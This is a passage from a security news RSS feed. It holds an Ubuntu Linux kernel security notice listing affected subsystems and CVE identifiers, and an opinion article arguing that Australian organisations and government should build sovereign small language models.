CVE-2026-53306, CVE-2026-53309, CVE-2026-53314, CVE-2026-53320,
CVE-2026-53369, CVE-2026-53374, CVE-2026-53375, CVE-2026-53376,
CVE-2026-53379, CVE-2026-63838, CVE-2026-63843, CVE-2026-63844,
CVE-2026-63845, CVE-2026-63846, CVE-2026-63847, CVE-2026-63848,
CVE-2026-63851, CVE-2026-63852, CVE-2026-63854, CVE-2026-63855,
CVE-2026-63856, CVE-2026-63860, CVE-2026-63861, CVE-2026-63862,
CVE-2026-63865, CVE-2026-64164)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8575-1: Linux kernel vulnerabilities]]></title>
<description><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose...]]></description>
<link>https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683348/unix-server/usn-8575-1-linux-kernel-vulnerabilities/</guid>
<pubDate>Tue, 21 Jul 2026 12:16:01 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Maxim Suhanov discovered that the NTFS file system implementation in the
Linux kernel did not properly validate file name length in certain
situations, leading to an out-of-bounds read. An attacker could use this to
construct a malicious NTFS image that, when mounted and operated on, could
expose sensitive information (kernel memory). (CVE-2023-45896)

It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - ACPI drivers;
  - ATM drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - RNBD block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clocksource drivers;
  - Data acquisition framework and drivers;
  - CPU frequency scaling framework;
  - CPU idle management framework;
  - Hardware crypto device drivers;
  - DMA engine subsystem;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - GPIO subsystem;
  - GPU drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO subsystem;
  - IIO ADC drivers;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IOMMU subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Multifunction device drivers;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Power supply drivers;
  - RapidIO drivers;
  - Remote Processor subsystem;
  - RPMSG subsystem;
  - SCSI subsystem;
  - Freescale SoC drivers;
  - Texas Instruments SoC drivers;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - Framebuffer layer;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FAT file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - JFS file system;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Proc file system;
  - Pstore file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - UDF file system;
  - XFS file system;
  - Audit subsystem;
  - RAS (Reliability, Availability, Serviceability) subsystem;
  - Memory Management;
  - KVM subsystem;
  - Memory management;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Network traffic control;
  - Bluetooth subsystem;
  - MAC80211 subsystem;
  - Netfilter;
  - IP tunnels definitions;
  - Tracing infrastructure;
  - User-space API (UAPI);
  - io_uring subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - Kernel kexec() syscall;
  - Kernel module support;
  - Scheduler infrastructure;
  - Cryptographic library;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - AppArmor security module;
  - Simplified Mandatory Access Control Kernel framework;
  - ALSA framework;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - SoC audio core drivers;
  - STI ASoC drivers;
  - USB sound devices;
(CVE-2022-49803, CVE-2022-49961, CVE-2022-50073, CVE-2022-50116,
CVE-2022-50552, CVE-2023-52682, CVE-2023-52737, CVE-2023-53545,
CVE-2023-53596, CVE-2023-53629, CVE-2024-27389, CVE-2024-35865,
CVE-2024-36898, CVE-2024-36922, CVE-2024-41079, CVE-2024-46715,
CVE-2024-46770, CVE-2024-47809, CVE-2024-50012, CVE-2024-53221,
CVE-2024-56557, CVE-2024-56584, CVE-2024-56657, CVE-2024-56719,
CVE-2024-56727, CVE-2025-21712, CVE-2025-21739, CVE-2025-21863,
CVE-2025-22107, CVE-2025-23141, CVE-2025-37786, CVE-2025-38006,
CVE-2025-38105, CVE-2025-38192, CVE-2025-38250, CVE-2025-38562,
CVE-2025-38626, CVE-2025-38659, CVE-2025-38710, CVE-2025-39748,
CVE-2025-39764, CVE-2025-40005, CVE-2025-40016, CVE-2025-40103,
CVE-2025-40323, CVE-2025-68206, CVE-2025-68239, CVE-2025-68256,
CVE-2025-68307, CVE-2025-68358, CVE-2025-71150, CVE-2025-71161,
CVE-2025-71221, CVE-2025-71232, CVE-2025-71233, CVE-2025-71235,
CVE-2025-71236, CVE-2025-71237, CVE-2025-71238, CVE-2025-71239,
CVE-2025-71265, CVE-2025-71266, CVE-2025-71267, CVE-2025-71274,
CVE-2025-71287, CVE-2025-71292, CVE-2025-71304, CVE-2026-23031,
CVE-2026-23066, CVE-2026-23100, CVE-2026-23113, CVE-2026-23141,
CVE-2026-23157, CVE-2026-23169, CVE-2026-23204, CVE-2026-23220,
CVE-2026-23221, CVE-2026-23222, CVE-2026-23227, CVE-2026-23228,
CVE-2026-23229, CVE-2026-23234, CVE-2026-23235, CVE-2026-23236,
CVE-2026-23237, CVE-2026-23238, CVE-2026-23241, CVE-2026-23242,
CVE-2026-23243, CVE-2026-23253, CVE-2026-23266, CVE-2026-23270,
CVE-2026-23277, CVE-2026-23279, CVE-2026-23281, CVE-2026-23286,
CVE-2026-23289, CVE-2026-23290, CVE-2026-23291, CVE-2026-23293,
CVE-2026-23296, CVE-2026-23298, CVE-2026-23300, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23307, CVE-2026-23312, CVE-2026-23318,
CVE-2026-23324, CVE-2026-23335, CVE-2026-23336, CVE-2026-23339,
CVE-2026-23340, CVE-2026-23352, CVE-2026-23356, CVE-2026-23357,
CVE-2026-23359, CVE-2026-23362, CVE-2026-23365, CVE-2026-23367,
CVE-2026-23368, CVE-2026-23370, CVE-2026-23372, CVE-2026-23379,
CVE-2026-23381, CVE-2026-23382, CVE-2026-23388, CVE-2026-23391,
CVE-2026-23392, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23420,
CVE-2026-23434, CVE-2026-23438, CVE-2026-23439, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23452, CVE-2026-23454,
CVE-2026-23456, CVE-2026-23457, CVE-2026-23458, CVE-2026-23460,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23474, CVE-2026-31393,
CVE-2026-31396, CVE-2026-31399, CVE-2026-31400, CVE-2026-31405,
CVE-2026-31407, CVE-2026-31408, CVE-2026-31409, CVE-2026-31411,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31427, CVE-2026-31428, CVE-2026-31433, CVE-2026-31446,
CVE-2026-31447, CVE-2026-31450, CVE-2026-31452, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31464, CVE-2026-31466, CVE-2026-31467,
CVE-2026-31469, CVE-2026-31473, CVE-2026-31476, CVE-2026-31480,
CVE-2026-31483, CVE-2026-31485, CVE-2026-31489, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31497, CVE-2026-31498, CVE-2026-31507,
CVE-2026-31508, CVE-2026-31509, CVE-2026-31510, CVE-2026-31512,
CVE-2026-31515, CVE-2026-31518, CVE-2026-31521, CVE-2026-31522,
CVE-2026-31523, CVE-2026-31524, CVE-2026-31532, CVE-2026-31540,
CVE-2026-31545, CVE-2026-31546, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31555, CVE-2026-31565,
CVE-2026-31570, CVE-2026-31576, CVE-2026-31577, CVE-2026-31578,
CVE-2026-31580, CVE-2026-31581, CVE-2026-31583, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31588, CVE-2026-31590, CVE-2026-31594,
CVE-2026-31596, CVE-2026-31597, CVE-2026-31598, CVE-2026-31599,
CVE-2026-31602, CVE-2026-31603, CVE-2026-31605, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31630, CVE-2026-31634, CVE-2026-31642, CVE-2026-31651,
CVE-2026-31656, CVE-2026-31658, CVE-2026-31660, CVE-2026-31661,
CVE-2026-31662, CVE-2026-31664, CVE-2026-31665, CVE-2026-31667,
CVE-2026-31670, CVE-2026-31671, CVE-2026-31672, CVE-2026-31673,
CVE-2026-31674, CVE-2026-31676, CVE-2026-31679, CVE-2026-31680,
CVE-2026-31681, CVE-2026-31683, CVE-2026-31684, CVE-2026-31686,
CVE-2026-31687, CVE-2026-31694, CVE-2026-31695, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31701,
CVE-2026-31716, CVE-2026-31720, CVE-2026-31721, CVE-2026-31726,
CVE-2026-31728, CVE-2026-31737, CVE-2026-31738, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31770, CVE-2026-31773, CVE-2026-31778, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43014, CVE-2026-43015,
CVE-2026-43020, CVE-2026-43024, CVE-2026-43026, CVE-2026-43027,
CVE-2026-43028, CVE-2026-43030, CVE-2026-43032, CVE-2026-43035,
CVE-2026-43040, CVE-2026-43041, CVE-2026-43043, CVE-2026-43046,
CVE-2026-43047, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43058, CVE-2026-43060, CVE-2026-43061,
CVE-2026-43062, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43074, CVE-2026-43075, CVE-2026-43076,
CVE-2026-43079, CVE-2026-43080, CVE-2026-43085, CVE-2026-43089,
CVE-2026-43093, CVE-2026-43098, CVE-2026-43099, CVE-2026-43103,
CVE-2026-43104, CVE-2026-43105, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43123, CVE-2026-43124,
CVE-2026-43130, CVE-2026-43132, CVE-2026-43133, CVE-2026-43134,
CVE-2026-43135, CVE-2026-43136, CVE-2026-43139, CVE-2026-43140,
CVE-2026-43141, CVE-2026-43145, CVE-2026-43147, CVE-2026-43148,
CVE-2026-43149, CVE-2026-43152, CVE-2026-43156, CVE-2026-43158,
CVE-2026-43159, CVE-2026-43163, CVE-2026-43168, CVE-2026-43171,
CVE-2026-43180, CVE-2026-43182, CVE-2026-43183, CVE-2026-43184,
CVE-2026-43187, CVE-2026-43190, CVE-2026-43194, CVE-2026-43196,
CVE-2026-43200, CVE-2026-43202, CVE-2026-43203, CVE-2026-43205,
CVE-2026-43206, CVE-2026-43207, CVE-2026-43209, CVE-2026-43211,
CVE-2026-43218, CVE-2026-43223, CVE-2026-43225, CVE-2026-43226,
CVE-2026-43227, CVE-2026-43230, CVE-2026-43231, CVE-2026-43232,
CVE-2026-43233, CVE-2026-43236, CVE-2026-43241, CVE-2026-43242,
CVE-2026-43246, CVE-2026-43251, CVE-2026-43255, CVE-2026-43257,
CVE-2026-43261, CVE-2026-43262, CVE-2026-43264, CVE-2026-43266,
CVE-2026-43268, CVE-2026-43269, CVE-2026-43270, CVE-2026-43273,
CVE-2026-43275, CVE-2026-43277, CVE-2026-43279, CVE-2026-43281,
CVE-2026-43283, CVE-2026-43287, CVE-2026-43289, CVE-2026-43291,
CVE-2026-43295, CVE-2026-43296, CVE-2026-43302, CVE-2026-43312,
CVE-2026-43313, CVE-2026-43314, CVE-2026-43315, CVE-2026-43316,
CVE-2026-43324, CVE-2026-43327, CVE-2026-43328, CVE-2026-43329,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43339,
CVE-2026-43340, CVE-2026-43342, CVE-2026-43343, CVE-2026-43357,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43370, CVE-2026-43373,
CVE-2026-43380, CVE-2026-43381, CVE-2026-43382, CVE-2026-43386,
CVE-2026-43387, CVE-2026-43405, CVE-2026-43411, CVE-2026-43420,
CVE-2026-43425, CVE-2026-43426, CVE-2026-43427, CVE-2026-43428,
CVE-2026-43429, CVE-2026-43430, CVE-2026-43432, CVE-2026-43439,
CVE-2026-43445, CVE-2026-43449, CVE-2026-43450, CVE-2026-43451,
CVE-2026-43452, CVE-2026-43453, CVE-2026-43458, CVE-2026-43459,
CVE-2026-43466, CVE-2026-43469, CVE-2026-43472, CVE-2026-43473,
CVE-2026-43475, CVE-2026-43476, CVE-2026-43480, CVE-2026-43484,
CVE-2026-43496, CVE-2026-43497, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45846, CVE-2026-45847, CVE-2026-45848,
CVE-2026-45852, CVE-2026-45856, CVE-2026-45857, CVE-2026-45860,
CVE-2026-45862, CVE-2026-45864, CVE-2026-45866, CVE-2026-45867,
CVE-2026-45868, CVE-2026-45869, CVE-2026-45870, CVE-2026-45871,
CVE-2026-45873, CVE-2026-45875, CVE-2026-45879, CVE-2026-45883,
CVE-2026-45885, CVE-2026-45890, CVE-2026-45891, CVE-2026-45899,
CVE-2026-45902, CVE-2026-45904, CVE-2026-45911, CVE-2026-45912,
CVE-2026-45915, CVE-2026-45916, CVE-2026-45919, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45935, CVE-2026-45936, CVE-2026-45941,
CVE-2026-45946, CVE-2026-45948, CVE-2026-45954, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45960, CVE-2026-45964, CVE-2026-45965,
CVE-2026-45968, CVE-2026-45969, CVE-2026-45970, CVE-2026-45974,
CVE-2026-45978, CVE-2026-45983, CVE-2026-45984, CVE-2026-45985,
CVE-2026-45986, CVE-2026-45987, CVE-2026-45994, CVE-2026-46002,
CVE-2026-46004, CVE-2026-46006, CVE-2026-46009, CVE-2026-46015,
CVE-2026-46018, CVE-2026-46019, CVE-2026-46022, CVE-2026-46023,
CVE-2026-46024, CVE-2026-46027, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46040, CVE-2026-46044, CVE-2026-46046, CVE-2026-46047,
CVE-2026-46049, CVE-2026-46050, CVE-2026-46051, CVE-2026-46053,
CVE-2026-46062, CVE-2026-46064, CVE-2026-46070, CVE-2026-46072,
CVE-2026-46077, CVE-2026-46080, CVE-2026-46082, CVE-2026-46088,
CVE-2026-46098, CVE-2026-46099, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46112, CVE-2026-46120,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46127,
CVE-2026-46128, CVE-2026-46132, CVE-2026-46133, CVE-2026-46137,
CVE-2026-46146, CVE-2026-46149, CVE-2026-46150, CVE-2026-46151,
CVE-2026-46161, CVE-2026-46163, CVE-2026-46167, CVE-2026-46168,
CVE-2026-46172, CVE-2026-46174, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46184, CVE-2026-46186, CVE-2026-46187, CVE-2026-46189,
CVE-2026-46197, CVE-2026-46198, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46209, CVE-2026-46212, CVE-2026-46214, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46227, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46233, CVE-2026-46234, CVE-2026-46236, CVE-2026-46238,
CVE-2026-46249, CVE-2026-46250, CVE-2026-46253, CVE-2026-46259,
CVE-2026-46267, CVE-2026-46270, CVE-2026-46273, CVE-2026-46274,
CVE-2026-46275, CVE-2026-46285, CVE-2026-46294, CVE-2026-46301,
CVE-2026-46303, CVE-2026-46304, CVE-2026-46307, CVE-2026-46319,
CVE-2026-46328, CVE-2026-52911, CVE-2026-52912, CVE-2026-52914,
CVE-2026-52915, CVE-2026-52916, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52925, CVE-2026-52926,
CVE-2026-52931, CVE-2026-52954, CVE-2026-52955, CVE-2026-52957,
CVE-2026-52958, CVE-2026-52962, CVE-2026-52963, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52982, CVE-2026-52984, CVE-2026-52985,
CVE-2026-52986, CVE-2026-52992, CVE-2026-52993, CVE-2026-52995,
CVE-2026-52998, CVE-2026-52999, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53006, CVE-2026-53011,
CVE-2026-53012, CVE-2026-53016, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53037, CVE-2026-53039, CVE-2026-53040,
CVE-2026-53041, CVE-2026-53043, CVE-2026-53045, CVE-2026-53046,
CVE-2026-53047, CVE-2026-53048, CVE-2026-53049, CVE-2026-53050,
CVE-2026-53059, CVE-2026-53060, CVE-2026-53061, CVE-2026-53062,
CVE-2026-53064, CVE-2026-53065, CVE-2026-53068, CVE-2026-53069,
CVE-2026-53071, CVE-2026-53072, CVE-2026-53073, CVE-2026-53074,
CVE-2026-53075, CVE-2026-53077, CVE-2026-53082, CVE-2026-53088,
CVE-2026-53093, CVE-2026-53096, CVE-2026-53112, CVE-2026-53128,
CVE-2026-53130, CVE-2026-53287, CVE-2026-53291, CVE-2026-53294,
CVE-2026-53295, CVE-2026-53296, CVE-2026-53304, CVE-2026-53306,
CVE-2026-53309, CVE-2026-53320, CVE-2026-53369, CVE-2026-53379,
CVE-2026-63860, CVE-2026-63865, CVE-2026-64018, CVE-2026-64032,
CVE-2026-64033, CVE-2026-64034, CVE-2026-64039, CVE-2026-64046,
CVE-2026-64047, CVE-2026-64055, CVE-2026-64056, CVE-2026-64083,
CVE-2026-64084, CVE-2026-64085, CVE-2026-64086, CVE-2026-64087,
CVE-2026-64088, CVE-2026-64089, CVE-2026-64096, CVE-2026-64102,
CVE-2026-64103, CVE-2026-64113, CVE-2026-64114, CVE-2026-64115,
CVE-2026-64125, CVE-2026-64133, CVE-2026-64135, CVE-2026-64153,
CVE-2026-64155, CVE-2026-64164, CVE-2026-64165, CVE-2026-64166,
CVE-2026-64168, CVE-2026-64173, CVE-2026-64174, CVE-2026-64177,
CVE-2026-64178, CVE-2026-64179, CVE-2026-64185)]]></content:encoded>
</item>
<item>
<title><![CDATA[Small models, sovereign advantage: Why Australia should build its own AI edge]]></title>
<description><![CDATA[For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their busines...]]></description>
<link>https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3683294/it-nachrichten/small-models-sovereign-advantage-why-australia-should-build-its-own-ai-edge/</guid>
<pubDate>Tue, 21 Jul 2026 12:03:22 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For the past three years, the AI conversation has been dominated by scale. Bigger models, bigger compute clusters, bigger headlines. But the next wave of competitive advantage won’t come from who can rent the biggest model; it will come from who can build the smallest one that knows their business.</p>



<p class="wp-block-paragraph">That model is the <a href="https://www.cio.com/article/4119259/small-language-models-why-specialized-ai-agents-boost-resilience-and-protect-privacy.html">small language model (SLM)</a>: Compact, purpose-built, trained on an organization’s own data and run under that organization’s own governance. And it is about to become one of the most consequential strategic assets available to both the private and public sector.</p>



<h2 class="wp-block-heading">The problem with renting intelligence</h2>



<p class="wp-block-paragraph">Right now, most organizations consume AI the way they once consumed electricity from a single utility by plugging into a handful of frontier models built by a small number of global vendors. These models are extraordinary generalists. They are also, by design, generic. They are tuned to be safe, broad and useful to everyone, which means they are optimised for no one in particular.</p>



<p class="wp-block-paragraph">That’s a problem for any organization trying to build genuine differentiation. If every competitor in your sector is calling the same foundation model with the same prompts, the model itself is not your edge. Your edge is what only you know, your proprietary data, your institutional judgement, your operating history. A generic model can’t see any of that unless you keep feeding it to them, turn after turn, at cost, with no lasting memory and no guarantee of where that data ends up.</p>



<p class="wp-block-paragraph">An SLM flips that equation. Trained on an organization’s own document libraries, case histories, policy archives, transaction data and operational know-how, it becomes a model that thinks the way your organization thinks, because it was built from your organization’s accumulated judgement. It doesn’t need to be the smartest model in the world. It needs to be the most useful one for you.</p>



<p class="wp-block-paragraph">I’ve seen this play out directly. At one of Australia’s largest integrated tourism and cruise businesses, simultaneously a B2C retailer, a B2B distributor to thousands of agency and wholesale clients globally, an aggregator marketplace for more than 1,800 independent tourism operators, and a cruise operator with offshore shared services spanning finance, customer contact and content management. The constraint wasn’t a lack of access to large general-purpose models. It was that none of them understood the business: 1,800 different operator catalogues, each with its own pricing logic, inventory quirks and content conventions; years of customer contact history with its own vocabulary and escalation patterns; a marketplace search experience that needed to reason over the business’s own product taxonomy, not the open web’s.</p>



<p class="wp-block-paragraph">Models trained and tuned on that proprietary data, operator listings, historical tickets, booking and pricing data delivered results a generic model never could. Domain-tuned content drafting cut operator listing time by 70% and eliminated a 23-day onboarding backlog outright, taking new-operator time-to-live from 23 days to three. A semantic search model trained on the marketplace’s own product catalogue lifted booking conversion by 24%. AI-driven triage trained on the business’s own contact history cut Tier 1 escalations by 34%. None of this came from a smarter foundation model. It came from a smaller, more specific one that knew the business.</p>



<h2 class="wp-block-heading">Why “small” is the strategic choice, not the compromise</h2>



<p class="wp-block-paragraph">There’s a temptation to treat SLMs as the budget option, what you build when you can’t afford a frontier model. That’s the wrong frame. The evidence is already compelling: <a href="https://azure.microsoft.com/en-us/blog/empowering-innovation-the-next-generation-of-the-phi-family/">Microsoft’s Phi-4 family of small models</a>, released in early 2025, demonstrated that a 14-billion-parameter model can match or exceed the performance of models many times its size on complex reasoning and domain-specific tasks while running at a fraction of the compute cost and on-premise, entirely within an organization’s own infrastructure. Smaller, domain-trained models are increasingly outperforming general-purpose giants on narrow, high-value tasks, with far tighter control over data residency, security and explainability.</p>



<p class="wp-block-paragraph">For a CIO or CTO, that combination of lower cost, tighter governance, higher task-specific accuracy is rare enough to demand attention on its own. But the deeper value sits one layer up, at the operating model. An SLM trained on your service history can sit inside claims processing, citizen services, clinical triage, asset maintenance scheduling or M&amp;A due diligence quietly compounding institutional knowledge into a reusable asset rather than letting it walk out the door every time someone retires or resigns.</p>



<p class="wp-block-paragraph">That is the real shift: AI capability stops being a subscription and starts being a balance-sheet asset. It can be valued, protected, audited and improved because it belongs to you.</p>



<h2 class="wp-block-heading">The public sector’s hidden advantage</h2>



<p class="wp-block-paragraph">Nowhere is this more obvious than in government. The public sector sits on some of the richest, least-exploited data and institutional knowledge in the country: Decades of policy outcomes, service delivery history, regulatory precedent, infrastructure records and frontline expertise. Most of it has never been put to systematic use because no commercially available model was ever trusted to touch it, and rightly so.</p>



<p class="wp-block-paragraph">A small, sovereign, purpose-built model changes that calculus. Trained, hosted and governed entirely within government infrastructure, an SLM doesn’t require sensitive citizen or policy data to leave a secure perimeter. The Australian Government has already recognised this direction: <a href="https://www.finance.gov.au/about-us/news/2025/introducing-aps-ai-plan">The APS AI Plan, released in November 2025</a>, commits to expanding the GovAI platform to provide all public servants with secure, sovereign AI tools operating entirely within Australian Government infrastructure. SLMs tuned to individual agency mandates are the logical next step and a more powerful one than any generic government-wide tool can deliver.</p>



<p class="wp-block-paragraph">Rather than each agency independently negotiating with the same handful of overseas vendors, a coordinated approach of common standards for model governance, shared security architecture, common evaluation frameworks and pooled infrastructure investment would let agencies build and reuse SLM capability horizontally, the way shared services and common ICT platforms have been built before. Each agency gets a model genuinely tuned to its mandate, but the security model, audit trail and assurance framework are consistent, government-backed and independently verifiable.</p>



<p class="wp-block-paragraph">Done well, this isn’t just an efficiency play. It’s a sovereignty play. As <a href="https://www.govtechreview.com.au/content/gov-datacentre/article/why-sovereign-ai-is-becoming-a-strategic-priority-in-australia-81646916">GovTech Review has noted</a>, large language models hosted offshore create data flows that extend beyond Australia’s borders in ways that are rarely transparent, a risk that is simply untenable for government. Sovereign, purpose-built models keep Australian public data, public knowledge and the resulting capability uplift inside Australian hands, rather than exporting both the data and the long-term value to offshore platforms.</p>



<h2 class="wp-block-heading">Why this belongs in the innovation budget, not the IT budget</h2>



<p class="wp-block-paragraph">The instinct in many organizations is to treat AI spend as an IT line item, something to be minimised, benchmarked and squeezed for cost efficiency. SLMs deserve a different treatment. They are closer to R&amp;D than infrastructure: An investment in converting accumulated institutional knowledge into a durable, defensible capability.</p>



<p class="wp-block-paragraph">That argument holds in the private sector too. A PE-backed portfolio company, a regulated financial services firm, a healthcare provider — each has years of proprietary operating data sitting idle in case files, transaction logs and service records. An SLM built on that data is a way of turning a sunk cost, decades of operational history, into a forward-looking asset that compounds with every additional case it processes.</p>



<p class="wp-block-paragraph">Boards and executive committees that are still asking “what is our AI strategy?” as a single, undifferentiated question are asking the wrong thing. The better question is: Which parts of our operation are rich enough in proprietary data and judgement to justify owning the model outright, rather than renting someone else’s?</p>



<h2 class="wp-block-heading">The opportunity in front of us</h2>



<p class="wp-block-paragraph">The first wave of enterprise AI adoption was about access: Getting a capable model into people’s hands quickly. The next wave will be about ownership: Who controls the model, who controls the data it was built on, and who captures the long-term value of the institutional knowledge it encodes.</p>



<p class="wp-block-paragraph">Australia, with a public sector rich in data and a private sector with deep vertical expertise in financial services, resources, healthcare and logistics, is well placed to lead on this if it treats small, sovereign models as a genuine national capability question, not a procurement footnote. The organizations, and the country, that move early will not just save money. They will own something their competitors can’t easily replicate: An AI that knows them.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AMD adds Microsoft to its growing roster of Helios customers as firm launches three new VMs for Azure customers]]></title>
